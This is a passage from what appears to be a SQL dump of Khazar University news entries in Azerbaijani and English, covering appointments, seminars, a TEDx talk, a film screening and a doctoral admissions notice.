Isayeva, Center for Development of Khazar University, were respectively elected President and Vice-president of the Fund by unanimous decision of members of council.</p><p>Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech at the meeting stressing the importance of “Khazar University Friends Fund”, and wished the Fund success.</p>'),(4618,2719,'en','Graduate of Khazar University was selected Head Secretary of AGF','As reported, Nurlana Mammadzada who got her Master’s Degree in English Language and Literature at Khazar University...','<p>As reported, Nurlana Mammadzada who got her Master’s Degree in English Language and Literature at Khazar University was selected to Head Secretary position of Azerbaijan Gymnastic Federation.&nbsp;</p><p>Let’s mention that N. Mammadzada worked as a Head Secretary’s assistant in 2007-2009, and from 2009 to present she worked as a vice (assistant, deputy) of federation.</p><p>You can get more information through these links:</p><p style=\"background:undefined \"><a href=\"https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;\">https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;</a></p><p><a href=\"http://www.xezerxeber.az/idman/186069.html\">http://www.xezerxeber.az/idman/186069.html</a>;</p><p><a href=\"http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/\">http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/</a>;</p><p><a href=\"http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-%C9%99liyevan%C4%B1n-r%C9%99hb%C9%99rlik-etdiyi-qurumda-kadr-t%C9%99yinat%C4%B1.html\">http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-əliyevanın-rəhbərlik-etdiyi-qurumda-kadr-təyinatı.html</a>;</p><p><a href=\"http://istiqlal.az/news/46022.html\">http://istiqlal.az/news/46022.html</a>;</p><p><a href=\"http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib\">http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib</a>;</p><p><a href=\"http://youthportal.az/az/news/detail.php?ID=119209\">http://youthportal.az/az/news/detail.php?ID=119209</a>;</p><p><a href=\"http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib\">http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib</a>;</p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://www.aznews.az/news/cemiyyet/159016.html;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">https://millixeber.az/agf-ə-yeni-bas-katib-təyin-edildi/;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\"></a><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.</a></p>'),(4619,2739,'az','Cisco Şəbəkə Akademiyası təqdimat keçirəcək','2017-ci il dekabrın 20-si saat 17:00-da Xəzər Universitetində Cisco Şəbəkə Akademiyası “Cisco Şəbəkə Akademiyası proqramı”...','<p>2017-ci il dekabrın 20-si saat 17:00-da Xəzər Universitetində (otaq 206) Cisco Şəbəkə Akademiyası “Cisco Şəbəkə Akademiyası proqramı” adlı təqdimat keçirəcək. Təqdimatı Cisco Şəbəkə Akademiyasının (Cisco Networking Academy) Azərbaycanda rəsmi tərəfdaşı <strong><em>NetAcad.az</em></strong> layihəsinin və Təlimçilərin Hazırlığı Mərkəzinin (ITC) əməkdaşları –&nbsp;Emin Seyidov və Fərrux Rəcəbli keçirəcəklər.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(4620,2740,'az','“Günümüzdə informasiya təhlükəsizliyi. Təhlükələr və müdafiə mexanizmləri” adlı seminar olacaq','2017-ci il dekabrın 27-si saat 14:00-da Xəzər Universitetində “Günümüzdə informasiya təhlükəsizliyi...','<p>2017-ci il dekabrın 27-si saat 14:00-da Xəzər Universitetində “Günümüzdə informasiya təhlükəsizliyi. Təhlükələr və müdafiə mexanizmləri” adlı seminar keçiriləcək.</p><p>Təqdimatı informasiya təhlükəsizliyi üzrə mütəxəssis, Orta Doğu Texniki Universitetinin doktorantı Üzeyir Qafarlı keçirəcək.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(4621,2741,'az','Professor Hamlet İsaxanlı TEDxUNEC-də çıxış etdi','2017-ci il dekabrın 15-də Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p>2017-ci il dekabrın 15-də Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Dövlət İqtisad Univeristetinin təşkil etdiyi TEDxUNEC tədbirində spiker qismində iştirak etdi. “Çərçivədən kənar” mövzusuna həsr olunan konfransın ilk spikeri professor Hamlet İsaxanlı oldu. “Təhsilin gələcəyi –&nbsp;gələcəyin təhsili” mövzusunda çıxış edən Professor bəşəriyyətin gələcəyinin elmdə olduğunu vurğuladı. Kitabla rəqabət aparan informasiya daşıyıcılarının çoxluğuna diqqət çəkən H.İsaxanlı əsas bilik ötürücülərini informasiya-kommunukasiya alətləri, ailə və universitet kimi təsnifatlandırdı. O, bu vasitələrin hər üçündən maksimum yararlanmağı tövsiyə etdi: “Gələcəyimiz bu gün gördüyümüz işlərin davamıdır. Yaxşı təhsil, daha yaxşı gələcək deməkdir!”</p>'),(4622,2741,'en','Prof. Hamlet Isakhanli attended TEDxUNEC','On December 15, 2017, Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of the Board of Directors and Trustees...','<p>On December 15, 2017, Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of the Board of Directors and Trustees, as a speaker attended the TEDxUNEC conference organized by the University of Economics. Prof. Hamlet Isakhanli was the first speaker of the conference dedicated to the “Outside Frame”. Talking on the topic “Future of the education – education of future”, the professor stated that the future of the mankind laid on science. Hamlet Isakhanli mentioned the abundance of information carriers, which competed with books and classified knowledge transmitters as information communication tools, family, and university. He advised to take advantage of all these three means: “Our future is a continuation of the present works. Good education means good future!”</p>'),(4914,2860,'en','Rector of Khazar University visits Middle East Technical University (METU)','Dr. Hassan Niknafs, Rector of Khazar University, Ali Naghiyev, Director of SPE (Society of Petroleum Engineers), and Shahriyar Alhkasli...','<p>Dr. Hassan Niknafs, Rector of Khazar University, Ali Naghiyev, Director of SPE (Society of Petroleum Engineers), and Shahriyar Alhkasli, a PhD candidate in Oil Engineering at Khazar University, visited Middle East Technical University on January 19, 2018.</p><p>During the visit, the delegation met Prof. Mustafa Vershan Kok, Rector of Middle East Technical University, and Vice-rector Prof. Meliha Altunishik. Discussions concentrated mainly on Dual Degree Diploma Program and joint researches in Oil Engineering.</p><p>Prof. Serhat Akin, Director of Department of Oil Engineering of eiLink research center, held various discussions with a group of professors of Department of Geophysics on joint pragmatic researches.</p>'),(5371,3106,'az','Ombudsman Mərkəzi tələbələr arasında sorğu keçirir','“Advocacy Establishment for Students through Ombudsman Position” (AESOP)...','<p>“Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ layihəsi çərçivəsində Xəzər Universitetində yaradılmış Ombudsman Mərkəzi tələbələr arasında anonim sorğu keçirir. Sorğunun əsas məqsədi tələbələrin tədris prosesi zamanı qarşılaşdıqları mənfi hallarla bağlı şikayət və iradlarını öyrənərək, lazımi tədbirlərin həyata keçirilməsi üçün universitet rəhbərliyinə təqdim etməkdir.</p><p>Tələbələrə şikayət və iradlarını köhnə binanın birinci mərtəbəsində girişdə və yeni binanın 3-cü mərtəbəsində (301 N(a) otağının yanında) yerləşdirilmiş qutulara ataraq yazılı şəkildə bildirmələri üçün şərait yaradılmışdır.</p><p>Sorğular aprelin 27-nə kimi davam etdiriləcək.</p>'),(4623,2742,'az','Xəzər Universitetində yeni filmin nümayişi oldu','2017-ci il dekabrın 13-də Xəzər Universitetində Meksikanın Azərbaycandakı səfirliyinin təşkilatçılığı ilə yeni çəkilmiş filmin nümayişinə...','<p>2017-ci il dekabrın 13-də Xəzər Universitetində Meksikanın Azərbaycandakı səfirliyinin təşkilatçılığı ilə yeni çəkilmiş filmin nümayişinə həsr edilmiş tədbiri universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli açdı. Meksika səfirliyinin Konsulluq, Ticarət və İqtisadi Əlaqələr üzrə İnzibati nümayəndəsi Kamran Mərdanov Meksika səfiri adından salondakıları salamladı və tələbələrə komediya janrında çəkilmiş “ Biz zadəganlarıq” adlı filmi haqqında qısa məlumat verdi. Sonda o, filmin nümayiş etdirliməsində göstərdiyi dəstəyə görə, universitet rəhbərliyinə təşəkkürünü bildirdi. “Mərmər” salonda nümayiş etdirilən filmi universitetin Humanitar və sosial elmlər fakültəsinin və Təhsil fakültəsinin tələbələri maraqla izlədilər.</p>'),(4624,2742,'en','A new film was demonstrated at Khazar University','The event, conducted with the demonstration of a new film, organized by the Mexican Embassy in Azerbaijan, on 13 December...','<p>The event, conducted with the demonstration of a new film, organized by the Mexican Embassy in Azerbaijan, on 13 December, 2017 at Khazar University was opened by the Director of Public Relations and Media of the University Alovsat Emirbeyli.</p><p>The Administrative representative on Trade and Economic Relations of the Embassy Kamran Mardanov welcomed the audience in the hall on behalf of the Mexican Ambassador and gave the students a brief information about the movie “We are Nobles” shot in the comedy genre.</p><p>At the end, he thanked the University Administration for his support on giving the opportunity for demonstrating the film.</p><p>The film, demonstrated in the “Marble Hall” of the University, was watched with great interest by the students of the faculty of Humanities and Social Sciences and The faculty of Education.</p>'),(4625,2743,'az','Psixologiya departamentinin koordinatoru “Psixoterapiyanın təkmilləşdirilməsi” adlı konfransda','2017-ci ilin dekabrında Xəzər Universitetinin Psixologiya departamentinin koordinatoru Ülkər İsayeva Kaliforniya ştatının...','<p>2017-ci ilin dekabrında Xəzər Universitetinin Psixologiya departamentinin  koordinatoru Ülkər İsayeva Kaliforniya ştatının Anaheim şəhərində keçirilmiş “Psixoterapiyanın təkmilləşdirilməsi” adlı konfransda iştirak etdi. Milton H.Erickson Fondunun təşkil etdiyi konfrans sağlamlıq sahəsində akkreditə olunmuş qurumların magistr və daha üst dərəcəsi olan mütəxəssisləri üçün açıqdır və dörd ildən bir Anaheim Konqres Mərkəzində keçirilir. Konfransda 20 ölkəni təmsil edən 7000 nəfər mütəxəssis psixologiya və psixiatriya sahəsində bir çox görkəmli mühazirələr, seminarlar verir və çıxışlar edir, müzakirələrə, klinik göstərişlərə və aktual&nbsp;panellərə qatılırlar.</p>'),(4627,2743,'en','The coordinator of Psychology department of Khazar University  at “The Evolution of Psychotherapy” Conference','The coordinator of Psychology department of Khazar University, Ulker Isayeva is attending the Evolution of Psychotherapy Conference...','<p>The coordinator of Psychology department of Khazar University, Ulker Isayeva is attending the Evolution of Psychotherapy Conference held at Anaheim, California. The conference organized by Milton H. Erickson Foundation is open to professionals with a master\'s degree and above in health-related fields from accredited institutions and it is being held every four years at the Anaheim Convention Center. 7000 professionals from 20 different countries are attending the conference this year in December, 2017, and many prominent names in the field of psychology and psychiatry are giving lectures, workshops and speeches, participate in debates, clinical demonstrations, and topical panels.</p>'),(4707,2794,'az','Xəzər Universiteti 2017/2018-ci tədris ili üçün əyani (ödənişli), doktoranturaya və dissertanturaya qəbul elan edir','Xəzər Universiteti 2017/2018-ci tədris ili üçün aşağıdakı ixtisaslar üzrə əyani...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"=\"\"><strong>Xəzər\r\nUniversiteti 2017/2018-ci tədris ili üçün aşağıdakı ixtisaslar üzrə əyani (ödənişli),\r\ndoktoranturaya və dissertanturaya qəbul elan edir:</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"573\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>İxtisasın adı</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">1.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kompüter elmləri-1203.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">2.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Biokimya-2426.02</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">3.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Neft və qaz yataqlarının geologiyası, axtarışı və\r\n  kəşfiyyatı-2521.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">4.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Neft və qaz yataqlarının işlənməsi və\r\n  istismarı-2525.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">5.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Enerji texnologiyaları-3322.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">6.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sistemli analiz, idarəetmə və informasiyanın işlənməsi-3338.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">7.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ümumi iqtisadiyyat-5308.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">8.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dünya iqtisadiyyatı-5310.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">9.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Müəssisələrin təşkili və idarə olunması-5311.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">10.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">German dilləri-5708.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">11.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Müqayisəli-tarixi və müqayisəli-tipoloji\r\n  dilçilik-5714.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">12.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azərbaycan ədəbiyyatı-5716.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">13.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Təhsilin təşkili və planlaşdırılması-5802.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">14.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ümumi pedaqogika. Pedaqogikanın və təhsilin\r\n  tarixi-5804.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">15.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Beynəlxalq münasibətlər-5901.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">16.</p>\r\n  </td>\r\n  <td width=\"573\" style=\"\" width:429.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sosial fəlsəfə-7202.01</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Fəlsəfə doktoru proqramı\r\nüzrə doktoranturada əyani təhsil müddəti 3 il, dissertantura üzrə təhsil müddəti\r\nisə 4 ildir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>Fəlsəfə doktoru hazırlığına qəbul olmaq istəyənlər:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">1.\r\nFəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura və dissertantura\r\nyerlərinə ali təhsili olan (ali təhsil pilləsinin magistratura səviyyəsini\r\nbitirən, yaxud təhsili ona bərabər tutulan) Azərbaycan Respublikasının\r\nvətəndaşları müsabiqə əsasında qəbul olunurlar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2.\r\nDoktoranturanın (keçmiş aspiranturanın) tam kursunu bitirən şəxs eyni ixtisas\r\nüzrə təkrarən doktoranturaya qəbul oluna bilməz.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong>Fəlsəfə\r\ndoktoru hazırlığı üzrə doktoranturaya və dissertanturaya qəbul olunmaq üçün\r\ntələb olunan sənədlər bunlardır:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;ərizə\r\n(doktoranturanın fəaliyyət göstərdiyi müəssisənin və yaxud təşkilatın\r\nrəhbərinin adına);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;kadrların\r\nşəxsi-qeydiyyat vərəqi;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;tərcümeyi-hal;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;2 ədəd\r\nfotoşəkil (3x4 sm ölçüdə);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;iş\r\nyerindən xasiyyətnamə;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;iş stajı\r\nolanlar üçün əmək kitabçasından çıxarış;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;çap\r\nolunmuş elmi işlərin siyahısı və ya seçilmiş ixtisas üzrə referat;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;ali\r\ntəhsil müəssisəsini bitirmək haqqında diplomun müvafiq qaydada təsdiq edilmiş\r\nsurəti (xarici ölkələrdə təhsil almış Azərbaycan Respublikasının vətəndaşları\r\nüçün təhsil haqqında sənədlərin tanınması haqqında şəhadətnamə);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">–&nbsp;şəxsiyyəti\r\ntəsdiq edən sənədin surəti.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Müraciət\r\netmək istəyənlər sənədlərini Xəzər Universiteti Magistratura, Doktorantura və\r\nElmi İşlər bölməsinə (412-ci otaq) şəxsən təqdim edə bilərlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>Əlaqə:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>E-mail:\r\n</strong><a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev@khazar.org</a>;&nbsp;<a href=\"mailto:lsalayeva@khazar.org\">Lsalayeva@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>Telefonlar:\r\n</strong>(+99412) 431-79-27 (dax.280, yaxud 221); Mobil: (+99450) 518-81-34</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong></strong><strong>Faks:\r\n</strong>(+99412) 498-93-79</p>'),(4629,2746,'az','“Elmi yazı, nəşr və tədqiqat etikası” mövzusunda seminar-konfrans keçirildi','2017-ci il dekabrın 14-də Xəzər Universitetinə dəvət edilmiş məruzəçi Dr. Mehrdad Jalalian Hosseini “Elmi yazı və tədqiqatların...','<p>2017-ci il dekabrın 14-də Xəzər Universitetinə dəvət edilmiş məruzəçi Dr. Mehrdad Jalalian Hosseini “Elmi yazı və tədqiqatların dərc edilməsi və etikası haqqında ümumi məlumat” mövzusunda məruzə ilə çıxış etdi. Seminarda Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Elmi işlər üzrə prorektor dosent İradə Xəlilova, Azərbaycan Tibb Universitetinin Terapevtik və pediatrik propedevtika kafedrasının dosenti Səidə Xanməmmədova, Azərbaycan Tibb Universitetinin Biokimya kafedrasının assistenti Dr. Hafiz Osmanov, “Nərgiz” klinikasının rəhbəri Dr. Məlahət Qəhrəmanova, müxtəlif kafedralardan PhD və magistr tələbələr iştirak edirdilər.</p><p>İki hissədən ibarət seminar-konfransın birinci hissəsində Dr. Mehrdad Jalalian Hosseini effektiv abstrakt yazmaq, ikinci hissəsində isə jurnal məqalələrinin yazılmasında əsas prinsipləri necə tətbiq etmək barədə ətraflı məlumat verdi. Seminar zamanı effektiv yazı metodlarının müxtəlif yollarının istifadə edilməsində iştirakçılarla aktiv və geniş müzakirələr aparıldı.</p><p>Qeyd edək ki, Dr. Mehrdad Jalalian Hosseini “Elektron Həkim Jurnalı”nın (PubMed İndeksləşmiş) baş redaktoru və Mehr Nəşriyyatının təsisçisidir. O, bir sıra ölkələrdə çoxsaylı seminarlar və vorkşop təlimləri 